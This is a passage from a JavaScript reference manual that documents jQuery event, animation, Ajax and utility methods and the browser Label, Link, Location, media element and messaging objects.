`wrap(wrapper)`
`wrap(f(idx):wrapper)`
: Wrap *wrapper* around each selected element, cloning as needed if there is more than one selected element. If a function is passed, invoke it as a method of each selected element to compute the wrapper. The *wrapper* may be an element, a jQuery object, a selector, or a string of HTML, but it must have a single innermost element.

`wrapAll(wrapper)`
: Wrap *wrapper* around the selected elements as a group by inserting *wrapper* at the location of the first selected element and then copying all selected elements into the innermost element of *wrapper*.

`wrapInner(wrapper)`
`wrapInner(f(idx):wrapper)`
Like `wrap()`, but inserts *wrapper* (or the return value of *f*) around the content of each selected element rather than around the elements themselves.

jQuery Event Methods

The methods in this section are for registering event handlers and triggering events. See §19.4.

event-type`()`
event-type`(f(event))`
Register *f* as a handler for *event-type*, or trigger an event of *event-type*. jQuery defines the following convenience methods that follow this pattern:

```
ajaxComplete() blur()     focusin()   mousedown()     mouseup()
ajaxError()    change()   focusout()  mouseenter()    resize()
ajaxSend()     click()    keydown()   mouseleave()    scroll()
ajaxStart()    dblclick() keypress()  mousemove()     select()
ajaxStop()     error()    keyup()     mouseout()      submit()
ajaxSuccess()  focus()    load()      mouseover()     unload()
```

`bind(type, [data], f(event))`
`bind(events)`
Register *f* as a handler for events of the specified *type* on each of the selected elements. If *data* is specified, add it to the event object before invoking *f*. *type* may specify multiple event types and may include namespaces.

If a single object is passed, treat it as a mapping of event types to handler functions, and register handlers for all the specified events on each selected element.

`delegate(sel, type, [data], f(event))`
Register *f* as a live event handler. *f* will be triggered when events of type *type* occur on an element matching *sel* and bubble up to any of the selected elements. If *data* is specified, it will be added to the event object before *f* is invoked.

`die(type, [f(event)])`
Deregister live event handlers registered with `live()` for events of type *type* on elements that match the selector string of the current selection. If a specific event handler function *f* is specified, only deregister that one.

`hover(f(event))`
`hover(enter(event), leave(event))`
Register event handlers for "mouseenter" and "mouseleave" events on all selected elements. If only one function is specified, it is used as the handler for both events.

`live(type, [data], f(event))`
Register *f* as a live event handler for events of type *type*. If *data* is specified, add it to the event object before invoking *f*. This method does not use the set of selected elements, but it does use the selector string and context object of the jQuery object. *f* will be triggered when *type* events bubble up to the context object (usually the document) and the event's target element matches the selector. See `delegate()`.

`one(type, [data], f(event))`
`one(events)`
: Like `bind()`, except that the registered event handlers are automatically deregistered after they are invoked once.

`ready(f())`
: Register *f* to be invoked when the document becomes ready, or invoke it immediately if the document is ready. This method does not use the selected elements and is a synonym for `$(f)`.

`toggle(f1(event), f2(event),...)`
: Register an "click" event handler on all selected elements that alternates (or toggles) among the specified handler functions.

`trigger(type, [params])`
`trigger(event)`
: Trigger a *type* event on all selected elements, passing *params* as extra parameters to event handlers. *params* may be omitted, or may be a single value or an array of values. If you pass an *event* object, its `type` property specifies the event type, and any other properties are copied into the event object that is passed to the handlers.

`triggerHandler(type, [params])`
: Like `trigger()`, but do not allow the triggered event to bubble or to trigger the browser's default action.

`unbind([type],[f(event)])`
: With no arguments, deregister all jQuery event handlers on all selected elements. With one argument, deregister all event handlers for the *type* events on all selected elements. With two arguments, deregister *f* as a handler for *type* events on all selected elements. *type* may name multiple event types and may include namespaces.

`undelegate()`
`undelegate(sel, type, [f(event)])`
: With no arguments, deregister all live event handlers delegated from the selected elements. With two arguments, deregister live event handlers for *type* events on elements matching *sel* that are delegated from the selected elements. With three arguments, only deregister the single handler *f*.

jQuery Effects and Animation Methods

The methods described here produce visual effects and custom animations. Most return the jQuery object on which they are called. See §19.5.

Animation options

`complete` `duration` `easing` `queue` `specialEasing` `step`

`jQuery.fx.off`
: Set this property to `true` to disable all effects and animations.

`animate(`*`props`*`, `*`opts`*`)`
: Animate the CSS properties specified by the *`props`* object on each selected element, using the options specified by *`opts`*. See §19.5.2 for details of both objects.

`animate(`*`props`*`, [`*`duration`*`], [`*`easing`*`], [`*`f`*`()])`
: Animate the CSS properties specified by *`props`* on each selected element, using the specified *`duration`* and *`easing`* function. Invoke *`f`* as a method of each selected element when done.

`clearQueue([`*`qname`*`="fx"])`
: Clear the effects queue or the named queue for each selected element.

`delay(`*`duration`*`, [`*`qname`*`="fx"])`
: Add a delay of the specified duration to the effects queue or the named queue.

`dequeue([`*`qname`*`="fx"])`
: Remove and invoke the next function on the effects queue or the named queue. It is not normally necessary to dequeue the effects queue.

`fadeIn([`*`duration`*`=400],[`*`f`*`()])`
`fadeOut([`*`duration`*`=400],[`*`f`*`()])`
: Fade the selected elements in or out by animating their opacity for *`duration`* ms. When complete, invoke *`f`*, if specified, as a method of each selected element.

`fadeTo(`*`duration`*`, `*`opacity`*`, [`*`f`*`()])`
: Animate the CSS opacity of the selected elements to *opacity* over the specified *`duration`*. When complete, invoke *`f`*, if specified, as a method of each selected element.

`hide()`
`hide(`*`duration`*`, [`*`f`*`()])`
: With no arguments, hide each selected element immediately. Otherwise, animate the size and opacity of each selected element so that they are hidden after *`duration`* ms. When complete, invoke *`f`*, if specified, as a method of each selected element.

`slideDown([`*`duration`*`=400],[`*`f`*`()])`
`slideUp([`*`duration`*`=400],[`*`f`*`()])`
`slideToggle([`*`duration`*`=400],[`*`f`*`()])`
: Show, hide, or toggle the visibility of each selected element by animating its height for the specified *`duration`*. When complete, invoke *`f`*, if specified, as a method of each selected element.

`show()`
`show(`*`duration`*`, [`*`f`*`()])`
: With no arguments, show each selected element immediately. Otherwise, animate the size and opacity of each selected element so that they are fully visible after *`duration`* ms. When complete, invoke *`f`*, if specified, as a method of each selected element.

`stop([`*`clear`*`=false], [`*`jump`*`=false])`
: Stop the current animation (if one is running) on all selected elements. If *`clear`* is `true`, also clear the effects queue for each element. If *`jump`* is `true`, jump the animation to its final value before stopping it.

`toggle([show])`
`toggle(duration, [f()])`

If *show* is `true`, `show()` the selected elements immediately. If *show* is `false`, `hide()` the selected elements immediately. If *show* is omitted, toggle the visibility of the elements.

If *duration* is specified, toggle the visibility of the selected elements with a size and opacity animation of the specified length. When complete, invoke *f*, if specified, as a method of each selected element.

`queue([qname="fx"]):array`
`queue([qname="fx"], f(next))`
`queue([qname="fx"], newq)`

With no arguments or just a queue name, return the named queue of the first selected element. With a function argument, add *f* to the named queue of all selected elements. With an array argument, replace the named queue of all selected elements with the *newq* array of functions.

jQuery Ajax Functions

Most of the jQuery Ajax-related functionality takes the form of utility functions rather than methods. These are some of the most complicated functions in the jQuery library. See §19.6 for complete details.

Ajax status codes

`success`	`error`	`notmodified`	`timeout`	`parsererror`

Ajax Data Types

`text`	`html`	`xml`	`script`	`json`	`jsonp`

Ajax Events

`ajaxStart`	`ajaxSend`	`ajaxSuccess`	`ajaxError`	`ajaxComplete`	`ajaxStop`

Ajax Options

`async`	`context`	`global`	`processData`	`type`
`beforeSend`	`data`	`ifModified`	`scriptCharset`	`url`
`cache`	`dataFilter`	`jsonp`	`success`	`username`
`complete`	`dataType`	`jsonpCallback`	`timeout`	`xhr`
`contentType`	`error`	`password`	`traditional`	

`jQuery.ajax(options):XMLHttpRequest`

This is the complicated but fully general Ajax function on which all of jQuery's Ajax utilities are based. It expects a single object argument whose properties specify all details of the Ajax request and the handling of the server's response. The most common options are described in §19.6.3.1 and callback options are covered in §19.6.3.2.

`jQuery.ajaxSetup(options)`

This function sets default values for jQuery's Ajax options. Pass the same kind of options object you would pass to `jQuery.ajax()`. The values you specify will be used by any subsequent Ajax request that does not specify the value itself. This function has no return value.

`jQuery.getJSON(`*`url`*`, [`*`data`*`], [`*`f`*`(`*`object,status`*`)]):XMLHttpRequest`
Asynchronously request the specified *`url`*, adding any *`data`* that is specified. When the response is received, parse it as JSON, and pass the resulting object to the callback function *`f`*. Return the XMLHttpRequest object, if any, used for the request.

`jQuery.getScript(`*`url`*`, [`*`f`*`(`*`text,status`*`)]):XMLHttpRequest`
Asynchronously request the specified *`url`*. When the response arrives, execute it as a script, and then pass the response text to *`f`*. Return the XMLHttpRequest object, if any, used for the request. Cross-domain is allowed, but do not pass the script text to *`f`*, and do not return an XMLHttpRequest object.

`jQuery.get(`*`url`*`, [`*`data`*`], [`*`f`*`(`*`data,status,xhr`*`)], [`*`type`*`]):XMLHttpRequest`
Make an asynchronous HTTP GET request for *`url`*, adding *`data`*, if any, to the query parameter portion of that URL. When the response arrives, interpret it as data of the specified *`type`*, or according to the `Content-Type` header of the response, and execute it or parse it if necessary. Finally, pass the (possibly parsed) response data to the callback *`f`* along with the jQuery status code and the XMLHttpRequest object used for the request. That XMLHttpRequest object, if any, is also the return value of `jQuery.get()`.

`jQuery.post(`*`url`*`, [`*`data`*`], [`*`f`*`(`*`data,status,xhr`*`)], [`*`type`*`]):XMLHttpRequest`
Like `jQuery.get()`, but make an HTTP POST request instead of a GET request.

`jQuery.param(`*`o`*`, [`*`old`*`=false]):string`
Serialize the names and values of the properties of *`o`* in `www-form-urlencoded` form, suitable for adding to a URL or passing as the body of an HTTP POST request. Most jQuery Ajax functions will do this automatically for you if you pass an object as the *`data`* parameter. Pass `true` as the second argument if you want jQuery 1.3–style shallow serialization.

`jQuery.parseJSON(`*`text`*`):object`
Parse JSON-formatted *`text`* and return the resulting object. jQuery's Ajax functions use this function internally when you request JSON-encoded data.

`load(`*`url`*`, [`*`data`*`], [`*`f`*`(`*`text,status,xhr`*`)])`
Asynchronously request the *`url`*, adding any *`data`* that is specified. When the response arrives, interpret it as a string of HTML and insert it into each selected element, replacing any existing content. Finally, invoke *`f`* as a method of each selected element, passing the response text, the jQuery status code, and the XMLHttpRequest object used for the request.

If *`url`* includes a space, any text after the space is used as a selector, and only the portions of the response document that match that selector are inserted into the selected elements.

Unlike most jQuery Ajax utilities, `load()` is a method, not a function. Like most jQuery methods, it returns the jQuery object on which it was invoked.

`serialize():string`
Serialize the names and values of the selected forms and form elements, returning a string in `www-form-urlencoded` format.

jQuery Utility Functions

These are miscellaneous jQuery functions and properties (not methods). See §19.7 for more details.

`jQuery.boxModel`
: A deprecated synonym for `jQuery.support.boxModel`.

`jQuery.browser`
: This property refers to an object that identifies the browser vendor and version. The object has the property `msie` for Internet Explorer, `mozilla` for Firefox, `webkit` for Safari and Chrome, and `opera` for Opera. The `version` property is the browser version number.

`jQuery.contains(a,b):boolean`
: Returns true if document element *a* contains element *b*.

`jQuery.data(elt):data`
`jQuery.data(elt, key):value`
`jQuery.data(elt, data)`
`jQuery.data(elt, key, value)`
: A low-level version of the `data()` method. With one element argument, return the data object for that element. With an element and a string, return the named value from that element's data object. With an element and an object, set the data object for the element. With an element, string, and value, set the named value in the element's data object.

`jQuery.dequeue(elt, [qname="fx"])`
: Remove and invoke the first function in the named queue of the specified element. Same as `$(elt).dequeue(qname)`.

`jQuery.each(o, f(name,value)):o`
`jQuery.each(a, f(index,value)):a`
: Invoke *f* once for each property of o, passing the name and value of the property and invoking *f* as a method of the value. If the first argument is an array, or array-like object, invoke *f* as a method of each element in the array, passing the array index and element value as arguments. Iteration stops if *f* returns `false`. This function returns its first argument.

`jQuery.error(msg)`
: Throw an exception containing *msg*. You can call this function from plug-ins or override (e.g. `jQuery.error = alert`) it when debugging.

`jQuery.extend(obj):object`
`jQuery.extend([deep=false], target, obj...):object`
: With one argument, copy the properties of *obj* into the global `jQuery` namespace. With two or more arguments, copy the properties of the second and subsequent objects, in order, into the *target* object. If the optional *deep* argument is `true`, a deep copy is done and properties are copied recursively. The return value is the object that was extended.

`jQuery.globalEval(code):void`
: Execute the specified JavaScript *code* as if it were a top-level `<script>`. No return value.

`jQuery.grep(a, f(elt,idx):boolean, [invert=false]):array`
Return a new array that contains only the elements of *a* for which *f* returns `true`. Or, if *invert* is `true`, return only those elements for which *f* returns `false`.

`jQuery.inArray(v, a):integer`
Search the array or array-like object `a` for an element *v*, and return the index at which it is found or -1.

`jQuery.isArray(x):boolean`
Return `true` only if *x* is a true JavaScript array.

`jQuery.isEmptyObject(x):boolean`
Return `true` only if *x* has no enumerable properties.

`jQuery.isFunction(x):boolean`
Return `true` only if *x* is a JavaScript function.

`jQuery.isPlainObject(x):boolean`
Return `true` only if *x* is a plain JavaScript object, such as one created by an object literal.

`jQuery.isXMLDoc(x):true`
Return true only if *x* is an XML document or an element of an XML document.

`jQuery.makeArray(a):array`
Return a new JavaScript array that contains the same elements as the array-like object *a*.

`jQuery.map(a, f(elt, idx)):array`
Return a new array that contains the values returned by *f* when invoked for each element in the array (or array-like object) *a*. Return values of `null` are ignored and returned arrays are flattened.

`jQuery.merge(a,b):array`
Append the elements of the array *b* to *a*, and return *a*. The arguments may be array-like objects or true arrays.

`jQuery.noConflict([radical=false])`
Restore the symbol `$` to its value before the jQuery library was loaded and return `jQuery`. If *radical* is `true`, also restore the value of the `jQuery` symbol.

`jQuery.proxy(f, o):function`
`jQuery.proxy(o, name):function`
Return a function that invokes *f* as a method of *o*, or a function that invokes *o*[*name*] as a method of *o*.

`jQuery.queue(elt, [qname="fx"], [f])`
Query or set the named queue of *elt*, or add a new function *f* to that queue. Same as `$(elt).queue(qname, f)`.

`jQuery.removeData(elt, [name]):void`
Remove the named property from the data object of *elt* or remove the data object itself.

`jQuery.support`
: An object containing a number of properties describing the features and bugs of the current browser. Most are of interest only to plug-in writers. `jQuery.support.boxModel` is false in IE browsers running in quirks mode.

`jQuery.trim(s):string`
: Return a copy of the string `s`, with leading and trailing whitespace trimmed off.

KeyEvent

see Event

Label

a <label> for a form control — Node, Element

A Label object represents a `<label>` element in an HTML form.

Properties

`readonly Element` **`control`**
: The `FormControl` that this Label is associated with. If `htmlFor` is specified, this property is the control specified by that property. Otherwise, this property is the first FormControl child of the `<label>`.

`readonly Form` **`form`**
: This property is a reference to the Form element that contains this label. Or, if the HTML `form` attribute is set, the Form element identified by that ID.

`string` **`htmlFor`**
: This property mirrors the HTML `for` attribute. Since `for` is a reserved word in JavaScript, the name of this property is prefixed with "html" to create a legal identifier. If set, this property should specify the ID of the `FormControl` that this label is associated with. (It is usually simpler, however, to simply make that FormControl be a descendant of this Label.)

Link

an HTML hyperlink — Node, Element

HTML links are created with `<a>`, `<area>`, and `<link>` elements. `<a>` tags are used in the body of a document to create hyperlinks. `<area>` tags are a rarely used feature for creating "image maps." `<link>` tags are used in the `<head>` of a document to refer to external resources such as stylesheets and icons. The `<a>` and `<area>` elements have the same representation in JavaScript. `<link>` elements have a somewhat different JavaScript representation, but, for convenience, these two types of links are documented together on this page.

When a Link object that represents an `<a>` element is used as a string, it returns the value of its `href` property.

Properties

In addition to the properties listed here, a Link object also has properties that reflect the underlying HTML attributes: `hreflang`, `media`, `ping`, `rel`, `sizes`, `target`, and `type`. Note that the URL decomposition properties (such as `host` and `pathname`) that return portions of the link's `href` are only defined for `<a>` and `<area>` elements, not for `<link>` elements, and that the `sheet`, `disabled`, and `relList` properties are only defined for `<link>` elements that refer to stylesheets.

`boolean` **`disabled`**
: For `<link>` elements that refer to stylesheets, this property controls whether the stylesheet is applied to the document or not.

`string` **`hash`**
: Specifies the fragment identifier of `href`, including the leading hash (#) mark—for example, "#results".

`string` **`host`**
: Specifies the hostname and port portions of `href`—for example, "*http://www.oreilly.com:1234*".

`string` **`hostname`**
: Specifies the hostname portion of `href`—for example, "*http://www.oreilly.com*".

`string` **`href`**
: Specifies the `href` attribute of the link. When an `<a>` or `<area>` element is used as a string, it is the value of this property that is returned.

`string` **`pathname`**
: Specifies the path portion of `href`—for example, "/catalog/search.html".

`string` **`port`**
: Specifies the port portion of `href`—for example, "1234".

`string` **`protocol`**
: Specifies the protocol portion of `href`, including the trailing colon—for example, "http:".

`readonly DOMTokenList` **`relList`**
: Like the `classList` property of Element, this property makes it easy to query, set, and delete tokens from the HTML `rel` attribute of `<link>` elements.

`string` **`search`**
: Specifies the query portion of `href`, including the leading question mark—for example, "?q=JavaScript&m=10".

`readonly CSSStyleSheet` **`sheet`**
: For `<link>` elements that reference stylesheets, this property represents the linked stylesheet.

`string` **`text`**
: The plain-text content of an `<a>` or `<area>` element. A synonym for `Node.textContent`.

`string` **`title`**
: All HTML elements allow a `title` attribute, and it usually specifies tooltip text for that element. Setting this attribute or property on a `<link>` element that has `rel` set to "alternate stylesheet" provides a name by which the user can enable or disable the stylesheet, and if the browser supports alternate stylesheets, the title you specify may appear within the browser UI in some fashion.

Location

represents and controls browser location

The `location` property of the Window and Document objects refers to a Location object that represents the web address (the "location") of the current document. The `href` property contains the complete URL of that document, and the other properties of the Location object each describe a portion of that URL. These properties are much like the URL properties of the Link object. When a Location object is used as a string, the value of the `href` property is returned. This means that you can use the expression `location` in place of `location.href`.

In addition to representing the current browser location, the Location object also *controls* that location. If you assign a string containing a URL to the Location object or to its `href` property, the web browser loads and displays that URL. You can also make the browser load a new document by setting other Location properties to alter portions of the current URL. For example, if you set the `search` property, the browser reloads the current URL with a new query string appended. If you set the `hash` property, the browser does not load a new document, but it does create a new history entry. And if the `hash` property identifies an element of the document, the browser scrolls the document to make that element visible.

Properties

The properties of a Location object refer to the various portions of the current document's URL. In each of the following property descriptions, the example given is a portion of this (fictitious) URL:

```
http://www.oreilly.com:1234/catalog/search.html?q=JavaScript&m=10#results
```

`string` **`hash`**
: The anchor portion of the URL, including the leading hash (#) mark—for example, "#results". This portion of the document URL specifies the name of an anchor within the document.

`string` **`host`**
: The hostname and port portions of the URL—for example, "*http://www.oreilly.com:1234*".

`string` **`hostname`**
: The hostname portion of a URL—for example, "*http://www.oreilly.com*".

`string` **`href`**
: The complete text of the document's URL, unlike other Location properties that specify only portions of the URL. Setting this property to a new URL causes the browser to read

and display the contents of the new URL. Assigning a value directly to a Location object sets this property, and using a Location object as a string uses the value of this property.

`string` **`pathname`**
The pathname portion of a URL—for example, "/catalog/search.html".

`string` **`port`**
The port portion of a URL— for example, "1234". Note that this property is a string, not a number.

`string` **`protocol`**
The protocol portion of a URL, including the trailing colon—for example, "http:".

`string` **`search`**
The query portion of a URL, including the leading question mark—for example, "?q=JavaScript&m=10".

Methods

`void` **`assign`**`(string` *`url`*`)`

Load and display the contents of the specified *`url`*, as if the `href` property had been set to *`url`*.

`void` **`reload`**`()`

Reloads the document that is currently displayed.

`void` **`replace`**`(string` *`url`*`)`

Load and display the contents of the specified *`url`*, replacing the current document in the browsing history so that the browser's Back button will not take the browser back to the previously displayed document.

MediaElement

a media player element — Node, Element

MediaElement is the common superclass of the `<audio>` and `<video>` elements. Those two elements define almost exactly the same API, which is described here, but see `Audio` and `Video` for audio- and video-specific details. And see §21.2 for an introduction to these media elements.

Constants

The `NETWORK` constants are the possible values of the `networkState`, and the `HAVE` constants are the possible values of the `readyState` property.

`unsigned short` **`NETWORK_EMPTY`** `= 0`
The element has not started using the network. This would be the state before the `src` attribute was set.

`unsigned short` **`NETWORK_IDLE`** `= 1`
: The element is not currently loading data from the network. It might have loaded the complete resource, or it might have buffered all the data it currently needs. Or it might have `preload` set to "none" and not yet have been asked to load or play the media.

`unsigned short` **`NETWORK_LOADING`** `= 2`
: The element is currently using the network to load media data.

`unsigned short` **`NETWORK_NO_SOURCE`** `= 3`
: The element is not using the network because it was not able to find a media source that it is able to play.

`unsigned short` **`HAVE_NOTHING`** `= 0`
: No media data or metadata has been loaded.

`unsigned short` **`HAVE_METADATA`** `= 1`
: The media metadata has been loaded, but no data for the current playback position has been loaded. This means that you can query the `duration` of the media or the dimensions of a video and you can seek by setting `currentTime`, but the browser cannot currently play the media at `currentTime`.

`unsigned short` **`HAVE_CURRENT_DATA`** `= 2`
: Media data for `currentTime` has been loaded, but not enough data has been loaded to allow the media to play. For video, this typically means that the current frame has loaded, but the next one has not. This state occurs at the end of a sound or movie.

`unsigned short` **`HAVE_FUTURE_DATA`** `= 3`
: Enough media data has been loaded to begin playing, but it is likely not enough to play to the end of the media without pausing to download more data.

`unsigned short` **`HAVE_ENOUGH_DATA`** `= 4`
: Enough media data has been loaded that the browser is likely to be able to play to the end without pausing.

Properties

`boolean` **`autoplay`**
: If `true`, the media element will automatically begin playing when it has loaded enough data. Mirrors the HTML `autoplay` attribute.

`readonly TimeRanges` **`buffered`**
: The time ranges of the media data that are currently buffered.

`boolean` **`controls`**
: If `true`, the media element should display a set of playback controls. Mirrors the HTML `controls` attribute.

`readonly string` **`currentSrc`**
: The URL of the media data, from the `src` attribute or one of the `<source>` children of this element, or the empty string if no media data is specified.

`double` **`currentTime`**
The current playback time, in seconds. Set this property to make the media element skip to a new playback position.

`double` **`defaultPlaybackRate`**
The playback speed used for normal playback. The default is 1.0.

`readonly double` **`duration`**
The length, in seconds, of the media. If the duration is unknown (metadata has not been loaded, for example), this property will be `NaN`. If the media is a stream of indefinite duration, this property will be `Infinity`.

`readonly boolean` **`ended`**
True if the end of the media has been reached.

`readonly MediaError` **`error`**
This property is set when an error occurs and is `null` otherwise. It refers to an object whose `code` property describes the kind of error.

`readonly double` **`initialTime`**
The initial playback position, in seconds. This is usually 0, but some types of media (such as streaming media) may have a different starting point.

`boolean` **`loop`**
If `true`, the media element should automatically restart the media each time it reaches the end. This property mirrors the HTML `loop` attribute.

`boolean` **`muted`**
Specifies whether the audio is muted or not. You can set this property to mute and unmute audio. For `<video>` elements, you can use an `audio="muted"` attribute to mute the media by default.

`readonly unsigned short` **`networkState`**
Whether media data is currently loading or not. The legal values are listed in the Constants section above.

`readonly boolean` **`paused`**
`true` if playback is currently paused.

`double` **`playbackRate`**
The current playback speed. 1.0 is normal playback. Values greater than 1.0 are fast-forward. Values between 0 and 1.0 are slow-motion. Values less than 0 play the media backward. (Media is always muted when played backward, and it will also be muted when played particularly quickly or slowly.)

`readonly TimeRanges` **`played`**
The time ranges that have been played.

`string` **`preload`**
This property mirrors the HTML attribute of the same name, and you can use it to specify how much media data the browser should fetch before the user requests that the media be played. The value "none" means that no data should be preloaded. The value "metadata" means that the browser should fetch the media metadata (such as duration)

but not the actual data itself. The value "auto" (or just the empty string if the `preload` attribute is specified with no value) means that the browser is allowed to download the entire media resource, just in case the user decides to play it.

`readonly unsigned short` **`readyState`**
: The media's readiness to play, based on the amount of data that has been buffered. The legal values are the `HAVE_` constants defined above.

`readonly TimeRanges` **`seekable`**
: The range or ranges of times that you can set `currentTime` to. When playing back simple media files, this is typically any time between 0 and `duration`. But for streaming media, times in the past may no longer be buffered and times in the future may not yet be available.

`readonly boolean` **`seeking`**
: This property is `true` while the media element is switching to a new `currentTime` playback position. If a new playback position is already buffered, this property will be `true` only for a short time. But if the media element must download new media data, `seeking` will remain `true` for a longer time.

`string` **`src`**
: This property mirrors the HTML `src` attribute of the media element. You can set this property to make the media element load new media data. Note that this property is not the same as `currentSrc`.

`readonly Date` **`startOffsetTime`**
: The real-world date and time of the playback position 0, if the media metadata includes that information. (A video file might include the time at which it was recorded, for example.)

`double` **`volume`**
: This property queries and sets the volume for audio playback. It should be a value between 0 and 1. Also see the `muted` property.

Event Handlers

`<audio>` and `<video>` tags define the following event handlers, which can be set as HTML attributes or as JavaScript properties. At the time of this writing, some browsers do not support these properties and require you to register your event handlers using `addEventListener()` (see `EventTarget`). Media events do not bubble and have no default action to cancel. The associated event object is a an ordinary `Event`.

Event Handler	Invoked When...
`onabort`	The element has stopped loading data, typically at the user's request. `error.code` is `error.MEDIA_ERR_ABORTED`.
`oncanplay`	Enough media data has loaded that playback can begin, but additional buffering is likely to be required.
`oncanplaythrough`	Enough media data has loaded that the media can probably be played all the way through without pausing to buffer more data.
`ondurationchange`	The `duration` property has changed

Event Handler	Invoked When...
onemptied	An error or abort has caused the networkState to return to NETWORK_EMPTY.
onended	Playback has stopped because the end of the media has been reached.
onerror	A network or other error prevented media data from being loaded. error.code is a value other than MEDIA_ERR_ABORTED (see MediaError).
onloadeddata	Data for the current playback position has loaded for the first time.
onloadedmetadata	The media metadata has been loaded, and the duration and dimensions of the media are ready.
onloadstart	The element begins requesting media data.
onpause	The pause() method was called and playback has been paused.
onplay	The play() method has been invoked, or the autoplay attribute has caused the equivalent.
onplaying	The media has begun to play.
onprogress	Network activity is continuing to load media data. Typically fired between 2 and 8 times per second. Note that the object associated with this event is a simple Event object, not the ProgressEvent object used by other APIs that fire events named "progress".
onratechange	The playbackRate or defaultPlaybackRate has changed.
onseeked	The seeking property has changed back to false.
onseeking	The script or user has requested that playback skip to an unbuffered portion of the media and playback has stopped while data loads. The seeking property is true.
onstalled	The element is trying to load data, but no data is arriving.
onsuspend	The element has buffered enough data and has temporarily stopped downloading.
ontimeupdate	The currentTime property has changed. During normal playback, this event is fired between 4 and 60 times per second.
onvolumechange	The volume or muted property has changed.
onwaiting	Playback cannot begin, or playback has stopped, because there is not enough data buffered. A playing event will follow when enough data is ready.

Methods

`string canPlayType(string type)`

This method asks the media element whether it can play media of the specified MIME *type*. If the player is certain it cannot play the type, it returns the empty string. If it is confident (but not certain) that it can play the type, it returns the string "probably". Media elements will generally not return "probably" unless *type* includes a `codecs=` parameter that lists specific media codecs. If the media element is not certain whether it will be able to play media of the specified *type*, this method will return "maybe".

`void load()`

This method resets the media element and makes it select a media source and start loading its data. This happens automatically when the element is first inserted into the document or whenever you set the `src` attribute. If you add, remove, or modify the `<source>` descendants of the media element, however, you should call `load()` explicitly.

`void pause()`

Pauses playback of the media.

`void play()`

Starts playback of the media.

MediaError

an <audio> or <video> error

When an error occurs on an `<audio>` or `<video>` tag, an error event is triggered and the `error` property is set to a MediaError object. The `code` property specifies what kind of error occurred. The following constants define the values of that property.

Constants

`unsigned short MEDIA_ERR_ABORTED = 1`

The user asked the browser to stop loading the media.

`unsigned short MEDIA_ERR_NETWORK = 2`

The media is of the right type, but a network error prevented it from being loaded.

`unsigned short MEDIA_ERR_DECODE = 3`

The media is of the right type, but an encoding error prevented it from being decoded and played.

`unsigned short MEDIA_ERR_SRC_NOT_SUPPORTED = 4`

The media specified by the `src` attribute is not a type that the browser can play.

Properties

`readonly unsigned short code`

This property describes the type of media error that occurred. Its value will be one of the constants above.

MessageChannel

a pair of connected MessagePorts

A MessageChannel is simply a pair of connected MessagePort objects. Calling `postMessage()` on either one triggers a message event on the other. If you want to establish a private communication channel with a `Window` or `Worker` thread, create a MessageChannel and then pass one member of the MessagePort pair to the Window or Worker (using the *`ports`* argument of `postMessage()`).

MessageChannel and MessagePort types are an advanced feature of HTML5 and, at the time of this writing, some browsers support cross-origin messaging (§22.3) and worker threads (§22.4) without supporting private communication channels with MessagePort.

Constructor

`new MessageChannel()`

This no-argument constructor returns a new MessageChannel object.

Properties

`readonly MessagePort port1`
`readonly MessagePort port2`

These are the two connected ports that define the communication channel. The two are symmetrical: retain one or the other for your code, and pass the other to the Window or Worker you want to communicate with.

MessageEvent

a message from another execution context — Event

Various APIs use message events for asynchronous communication between unrelated execution contexts. The `Window`, `Worker`, `WebSocket`, `EventSource`, and `MessagePort` objects all define `onmessage` properties for handling message events. The message associated with a message event is any JavaScript value that can be cloned as described in "Structured Clones" on page 672. The message is wrapped in a MessageEvent object and available on the `data` property. The various APIs that rely on message events also define a few additional properties in the MessageEvent object. Message events do not bubble and have no default action to cancel.

Properties

`readonly any data`

This property holds the message that is being delivered. `data` can be of any type that can be cloned with the structured clone algorithm ("Structured Clones" on page 672): this includes core JavaScript values including objects and arrays but not functions. Client-side values such as Document and Element nodes are not allowed, although Blobs and ArrayBuffers are.

`readonly string lastEventId`

For message events on an EventSource (§18.3), this field contains the `lastEventId` string, if any, that was sent by the server.

`readonly string origin`

For message events on an EventSource (§18.3) or on a Window (§22.3), this property contains the origin URL of the message sender.

`readonly MessagePort[] ports`

For message events on a Window (§22.3), Worker (§22.4), or `MessagePort`, this property contains an array of MessagePort objects, if any were passed in the corresponding call to `postMessage()`.

`readonly Window source`

For message events on a Window (§22.3), this property refers to the Window from which the message was sent.

MessagePort

pass asynchronous messages — EventTarget

A MessagePort is used for asynchronous, event-based message passing, typically between JavaScript execution contexts, such as windows or worker threads. MessagePorts must be used in connected pairs: see `MessageChannel`. Calling `postMessage()` on a MessagePort triggers a message event on the MessagePort to which it is connected. The cross-origin messaging API (§22.3) and Web Workers (§22.4) also communicate using a `postMessage()` method and message events. Those APIs effectively use an implicit MessagePort object. Explicit use of MessageChannel and MessagePort enables the creation of additional private communication channels and can be used, for example, to allow direct communication between two sibling Worker threads.

MessageChannel and MessagePort types are an advanced feature of HTML5 and, at the time of this writing, some browsers support cross-origin messaging (§22.3) and worker threads (§22.4) without supporting private communication channels with MessagePort.

Methods

`void close()`

This method disconnects this MessagePort from the port to which it was connected (if any). Subsequent calls to `postMessage()` will have no effect, and no message events will be delivered in the future.

`void postMessage(any message, [MessagePort[] ports])`

Send a clone of the specified *`message`* through the port and deliver it in the form of a message event on the port to which this one is connected. If *`ports`* is specified, deliver those as part of the message event as well. *`message`* can be any value that is compatible with the structured clone algorithm ("Structured Clones" on page 672).

`void start()`

This method causes the MessagePort to start firing `message` events. Before this method is called, any data sent through the port is buffered. Delaying messages this way allows a script to register all of its event handlers before any messages are sent. Note, however, that you only need to call this method if you use the `EventTarget` method `addEventListener()`. If you simply set the `onmessage` property, `start()` will be called implicitly.

Event Handlers

`onmessage`

This property defines an event handler for message events. Message events are triggered on the MessagePort object. They do not bubble and have no default action. Note that setting this property calls the `start()` method to start the delivery of message events.

Meter

a graphical meter or gauge — Node, Element

A Meter object represents an HTML `<meter>` element that displays a graphical representation of a value within a range of possible values, where the range may optionally be annotated to indicate regions that are considered low, optimum, and high.

Most of the properties of this object simply mirror the HTML attributes with the same name. The JavaScript properties are numbers, however, while the HTML attributes are strings.

`<meter>` is an HTML5 element that, at the time of this writing, is not yet widely supported.

Properties

`readonly Form` **`form`**
: The Form element, if there is one, that is the ancestor of this element or that was identified with the HTML `form` attribute.

`double` **`high`**
: If specified, this property indicates that values between `high` and `max` should be graphically indicated as "high".

`readonly NodeList` **`labels`**
: An array-like object of Label elements that are associated with this element.

`double` **`low`**
: If specified, this property indicates that values between `min` and `low` should be graphically indicated as "low".

`double` **`max`**
: The maximum value that can be displayed by the `<meter>`. The default is 1.

`double` **`min`**
